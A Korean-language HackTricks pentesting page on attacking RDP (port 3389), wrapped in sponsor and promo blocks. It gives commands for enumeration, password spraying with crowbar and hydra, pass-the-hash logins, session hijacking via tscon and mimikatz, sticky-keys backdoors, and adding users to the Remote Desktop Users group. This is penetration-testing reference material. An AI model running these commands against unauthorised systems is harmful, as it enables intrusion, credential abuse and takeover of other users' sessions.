# 3389 - RDP Pentesting
AWS 해킹을 처음부터 전문가까지 배우세요htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능으로 어디서든 전체 펜테스트를 실행하고, recon부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 사용자에게 시간을 돌려주기 위해 사용자 정의 도구, 탐지 및 공격 모듈을 개발하여 더 깊이 파고들고, 쉘을 열고 즐길 수 있도록 합니다.
{% embed url="https://pentest-tools.com/" %}
## 기본 정보
Microsoft에서 개발된 **원격 데스크톱 프로토콜** (**RDP**)은 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능케 하는 것을 목적으로 합니다. 이러한 연결을 설정하기 위해 사용자는 **RDP** 클라이언트 소프트웨어를 사용하며, 동시에 원격 컴퓨터는 **RDP** 서버 소프트웨어를 운영해야 합니다. 이 설정을 통해 먼 컴퓨터의 데스크톱 환경을 원격으로 제어하고 액세스할 수 있어 사용자의 로컬 장치로 해당 인터페이스를 가져올 수 있습니다.
**기본 포트:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## 열거
### 자동
{% code overflow="wrap" %}
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4
```
{% endcode %}
사용 가능한 암호화 및 DoS 취약점을 확인하고 (서비스에 DoS를 유발하지 않고) NTLM Windows 정보(버전)를 획득합니다.
### [무차별 대입 공격](../generic-methodologies-and-resources/brute-force.md#rdp)
**주의하세요, 계정이 잠길 수 있습니다**
### **비밀번호 스프레이**
**주의하세요, 계정이 잠길 수 있습니다**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### 알려진 자격 증명/해시로 연결하기
```bash
rdesktop -u
rdesktop -d -u -p
xfreerdp [/d:domain] /u: /p: /v:
xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash
```
### 알려진 자격 증명을 RDP 서비스에 대해 확인
impacket의 rdp_check.py를 사용하면 일부 자격 증명이 RDP 서비스에 대해 유효한지 확인할 수 있습니다:
```bash
rdp_check /:@
```
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행할 수 있으며, 이는 정찰부터 보고서 작성까지 이어집니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 깊이 파고들고 쉘을 열며 즐길 수 있는 시간을 돌려주기 위해 사용자 정의 도구, 탐지 및 악용 모듈을 개발합니다.
{% embed url="https://pentest-tools.com/" %}
## **공격**
### 세션 도용
**SYSTEM 권한**으로 **모든 사용자가 열어 놓은 RDP 세션**에 액세스할 수 있으며, 소유자의 비밀번호를 알 필요가 없습니다.
**열린 세션 가져오기:**
```
query user
```
**선택된 세션에 액세스**
```bash
tscon /dest:
```
이제 선택한 RDP 세션 내부에 들어가서 Windows 도구와 기능만을 사용하여 사용자를 흉내 내야합니다.
**중요**: 활성 RDP 세션에 액세스하면 사용 중이던 사용자가 로그아웃됩니다.
프로세스 덤프에서 비밀번호를 가져올 수도 있지만, 이 방법은 훨씬 빠르며 사용자의 가상 데스크톱과 상호 작용할 수 있게 해줍니다(디스크에 저장되지 않은 메모장의 비밀번호, 다른 기기에서 열린 다른 RDP 세션 등...)
#### **Mimikatz**
이를 수행하기 위해 mimikatz를 사용할 수도 있습니다:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
이 기술을 **stickykeys** 또는 **utilman과 결합하면 관리자 CMD 및 어떤 RDP 세션에도 언제든지 액세스할 수 있습니다**
이미 이러한 기술 중 하나로 백도어 처리된 RDP를 검색할 수 있습니다: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP 프로세스 주입
다른 도메인에서 또는 **더 높은 권한으로 RDP를 통해 로그인한 경우**에 **관리자인 PC**에서, **당신이 관리자인 경우**, **당신의 비콘을 그의 RDP 세션 프로세스에 주입**하여 그의 역할을 할 수 있습니다:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
### RDP 그룹에 사용자 추가
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## 자동 도구
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn**은 주로 Microsoft Windows 컴퓨터에서 **Shadow** 공격을 자동화하기 위해 설계된 Powershell로 작성된 사후 침투 프레임워크입니다. 이 취약점은 Microsoft에서 기능으로 명시된 것으로, 원격 공격자가 피해자의 데스크톱을 그의 동의 없이 **볼 수 있게** 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 제어할 수 있게 합니다.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* 명령 줄에서 마우스 및 키보드 제어를 자동화하는 방법
* 명령 줄에서 클립보드 제어를 자동화하는 방법
* 클라이언트에서 RDP를 통해 통신을 채널링하는 SOCKS 프록시 생성
* 파일을 업로드하지 않고 대상에서 임의의 SHELL 및 PowerShell 명령 실행
* 대상과 파일 전송이 비활성화된 경우에도 대상과 파일을 업로드하고 다운로드하기
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행하고, 정찰부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 사용자들이 더 심층적으로 파고들고, 쉘을 열고 즐길 수 있도록 맞춤형 도구, 탐지 및 공격 모듈을 개발합니다.
{% embed url="https://pentest-tools.com/" %}
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**